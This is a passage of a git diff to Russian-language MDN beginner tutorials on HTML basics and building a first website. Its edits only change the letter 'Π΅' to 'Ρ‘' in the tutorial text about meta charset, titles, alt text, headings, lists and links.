Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅.</li>
<li><code>&lt;meta charset="utf-8"&gt;</code> β€” этот элСмСнт устанавливаСт UTF-8 ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ вашСго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, которая Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ символов ΠΈΠ· всСх извСстных чСловСчСству языков. По сути, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ любой тСкстовый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Π² Π½Π΅Π³ΠΎ Π²Π»ΠΎΠΆΠΈΡ‚Π΅. НСт ΠΏΡ€ΠΈΡ‡ΠΈΠ½ Π½Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Π΅Ρ‘, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π² дальнСйшСм.</li>
- <li><code>&lt;title&gt;&lt;/title&gt;</code> β€” элСмСнт {{htmlelement("title")}}. Π­Ρ‚ΠΎΡ‚ элСмСнт устанавливаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для вашСй страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΠΎΠΉ страницы, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания страницы, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ добавляСтС Π΅Π΅ Π² Π·Π°ΠΊΠ»Π°Π΄ΠΊΠΈ/ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ΅.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code> β€” элСмСнт {{htmlelement("title")}}. Π­Ρ‚ΠΎΡ‚ элСмСнт устанавливаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для вашСй страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ, ΠΏΠΎΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΠΎΠΉ страницы, ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для описания страницы, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ добавляСтС Π΅Ρ‘ Π² Π·Π°ΠΊΠ»Π°Π΄ΠΊΠΈ/ΠΈΠ·Π±Ρ€Π°Π½Π½ΠΎΠ΅.</li>
</ul>
<h2 id="Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ">Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ</h2>
@@ -118,7 +118,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<p><img alt="" src="https://mdn.mozillademos.org/files/9349/alt-text-example.png" style="display: block; height: 36px; margin: 0px auto; width: 108px;"></p>
-<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст - это "ΠΏΠΎΡΡΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст". Он Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ наш тСкст "My test image" ("ΠœΠΎΡ‘ тСстовоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅") Π½Π΅ годится. Намного Π»ΡƒΡ‡ΡˆΠ΅ΠΉ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ для нашСго Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏΠ° Firefox Π±ΡƒΠ΄Π΅Ρ‚ "The Firefox logo: a flaming fox surrounding the Earth" ("Π›ΠΎΠ³ΠΎΡ‚ΠΈΠΏ Firefox: ΠΎΠ³Π½Π΅Π½Π½Ρ‹ΠΉ Лис Π²ΠΎΠΊΡ€ΡƒΠ³ Π—Π΅ΠΌΠ»ΠΈ").</p>
+<p>ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст - это "ΠΏΠΎΡΡΠ½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст". Он Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»ΡŽ достаточно ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅. Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ наш тСкст "My test image" ("ΠœΠΎΡ‘ тСстовоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅") Π½Π΅ годится. Намного Π»ΡƒΡ‡ΡˆΠ΅ΠΉ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²ΠΎΠΉ для нашСго Π»ΠΎΠ³ΠΎΡ‚ΠΈΠΏΠ° Firefox Π±ΡƒΠ΄Π΅Ρ‚ "The Firefox logo: a flaming fox surrounding the Earth" ("Π›ΠΎΠ³ΠΎΡ‚ΠΈΠΏ Firefox: ΠΎΠ³Π½Π΅Π½Π½Ρ‹ΠΉ Лис Π²ΠΎΠΊΡ€ΡƒΠ³ Π—Π΅ΠΌΠ»ΠΈ").</p>
<p>БСйчас ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ подходящий Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ тСкст для вашСго изобраТСния.</p>
@@ -132,7 +132,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ части вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ². Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠ½ΠΈΠ³Π° ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Π·Π²Π°Π½ΠΈΠ΅, названия Π³Π»Π°Π² ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС. HTML Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡˆΠ΅ΡΡ‚ΡŒ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ 3-4 :</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ части вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² качСствС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ². Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠ½ΠΈΠ³Π° ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Π·Π²Π°Π½ΠΈΠ΅, названия Π³Π»Π°Π² ΠΈ ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ², HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС. HTML Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΡˆΠ΅ΡΡ‚ΡŒ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ Π±ΠΎΠ»Π΅Π΅ 3-4 :</p>
<pre class="brush: html notranslate">&lt;h1&gt;Мой Π³Π»Π°Π²Π½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ&lt;/h1&gt;
&lt;h2&gt;Мой Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ уровня&lt;/h2&gt;
@@ -151,7 +151,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<h3 id="Бписки">Бписки</h3>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° являСтся списками ΠΈ HTML ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ элСмСнты для Π½ΠΈΡ…. Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° списка всСгда состоит ΠΏΠΎ мСньшСй ΠΌΠ΅Ρ€Π΅ ΠΈΠ· Π΄Π²ΡƒΡ… элСмСнтов. НаиболСС распространСнными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ списков ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΈ Π½Π΅Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ списки:</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠ°Ρ Ρ‡Π°ΡΡ‚ΡŒ Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° являСтся списками ΠΈ HTML ΠΈΠΌΠ΅Π΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ элСмСнты для Π½ΠΈΡ…. Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° списка всСгда состоит ΠΏΠΎ мСньшСй ΠΌΠ΅Ρ€Π΅ ΠΈΠ· Π΄Π²ΡƒΡ… элСмСнтов. НаиболСС распространёнными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ списков ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ ΠΈ Π½Π΅Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ списки:</p>
<ol>
<li><strong>НСнумСрованныС списки</strong> - это списки, Π³Π΄Π΅ порядок ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния, ΠΊΠ°ΠΊ Π² спискС ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ. Они ΠΎΠ±ΠΎΡ€Π°Ρ‡ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² элСмСнт {{htmlelement("ul")}}.</li>
@@ -201,11 +201,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics
<p><code>href</code> сначала ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ довольно нСпонятым Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ для ΠΈΠΌΠ΅Π½ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°. Если Ρƒ вас Π²ΠΎΠ·Π½ΠΈΠΊΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ href образуСтся ΠΊΠ°ΠΊ <em><strong>h</strong>ypertext <strong>ref</strong>erence </em>("гипСртСкстовая ссылка").</p>
</div>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ссылку Π½Π° Π²Π°ΡˆΡƒ страницу, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ сдСлали этого.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ссылку Π½Π° Π²Π°ΡˆΡƒ страницу, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ сдСлали этого.</p>
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Если Π²Ρ‹ слСдовали всСм инструкциям Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ страницу, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΡƒΡŽ рисунку Π½ΠΈΠΆΠ΅ (Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="http://mdn.github.io/beginner-html-site/">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Π΅ здСсь</a>):<br>
+<p>Если Π²Ρ‹ слСдовали всСм инструкциям Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ страницу, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΡƒΡŽ рисунку Π½ΠΈΠΆΠ΅ (Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="http://mdn.github.io/beginner-html-site/">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π΅Ρ‘ здСсь</a>):<br>
<br>
<img alt="A web page screenshot showing a firefox logo, a heading saying mozilla is cool, and two paragraphs of filler text" src="https://mdn.mozillademos.org/files/9351/finished-test-page-small.png" style="display: block; height: 838px; margin: 0px auto; width: 716px;"></p>
diff --git a/files/ru/learn/getting_started_with_the_web/index.html b/files/ru/learn/getting_started_with_the_web/index.html
index 73be1678c7..f31d6ba696 100644
--- a/files/ru/learn/getting_started_with_the_web/index.html
+++ b/files/ru/learn/getting_started_with_the_web/index.html
@@ -25,9 +25,9 @@ translation_of: Learn/Getting_started_with_the_web
<h2 id="Π˜ΡΡ‚ΠΎΡ€ΠΈΡ_вашСго_ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ_Π²Π΅Π±-сайта">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ вашСго ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π²Π΅Π±-сайта</h2>
-<p>НСобходимо ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅Π±-сайт, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅, ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΠΌΠ°Π»ΠΎΠ³ΠΎ. Π’Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Facebook прямо сСйчас, Π½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой простой Π²Π΅Π±-сайт Π½Π΅ Ρ‚Π°ΠΊ ΡƒΠΆ ΠΈ слоТно, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с этого.</p>
+<p>НСобходимо ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅Π±-сайт, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ, Ссли Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ Π² Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅, ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ с ΠΌΠ°Π»ΠΎΠ³ΠΎ. Π’Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Facebook прямо сСйчас, Π½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой простой Π²Π΅Π±-сайт Π½Π΅ Ρ‚Π°ΠΊ ΡƒΠΆ ΠΈ слоТно, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с этого.</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΎΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ ΡΡ‚Π°Ρ‚ΡŒΠΈ</span></span>, пСрСчислСнныС Π½ΠΈΠΆΠ΅ ΠΏΠΎ порядку, Π²Ρ‹ ΠΏΡ€ΠΎΠΉΠ΄Π΅Ρ‚Π΅ ΠΏΡƒΡ‚ΡŒ ΠΎΡ‚ нуля Π΄ΠΎ создания своСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π²Π΅Π±-страницы. Ну Ρ‡Ρ‚ΠΎ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ!</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΎΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ ΡΡ‚Π°Ρ‚ΡŒΠΈ</span></span>, пСрСчислСнныС Π½ΠΈΠΆΠ΅ ΠΏΠΎ порядку, Π²Ρ‹ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΏΡƒΡ‚ΡŒ ΠΎΡ‚ нуля Π΄ΠΎ создания своСй ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π²Π΅Π±-страницы. Ну Ρ‡Ρ‚ΠΎ, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ!</p>
<h3 id="Установка_Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ_обСспСчСния"><a href="/ru/docs/Learn/Getting_started_with_the_web/Установка_Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ_ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ_обСспСчСния">Установка Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния</a></h3>
@@ -35,23 +35,23 @@ translation_of: Learn/Getting_started_with_the_web
<h3 id="Каким_Π΄ΠΎΠ»ΠΆΠ΅Π½_Π±Ρ‹Ρ‚ΡŒ_ваш_Π²Π΅Π±-сайт"><a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ваш Π²Π΅Π±-сайт?</a></h3>
-<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ для вашСго Π²Π΅Π±-сайта, Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π½. ΠšΠ°ΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Ρ‹ дСмонстрируСтС? КакиС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΈ Ρ†Π²Π΅Ρ‚Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅? <a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ваш Π²Π΅Π±-сайт?</a> ΠœΡ‹ опишСм простой ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ смоТСтС ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТаниС ΠΈ Π΄ΠΈΠ·Π°ΠΉΠ½ вашСго сайта.</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ для вашСго Π²Π΅Π±-сайта, Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ»Π°Π½. ΠšΠ°ΠΊΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π²Ρ‹ дСмонстрируСтС? КакиС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ ΠΈ Ρ†Π²Π΅Ρ‚Π° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅? <a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">Каким Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ваш Π²Π΅Π±-сайт?</a> ΠœΡ‹ опишСм простой ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π²Ρ‹ смоТСтС ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТаниС ΠΈ Π΄ΠΈΠ·Π°ΠΉΠ½ вашСго сайта.</p>
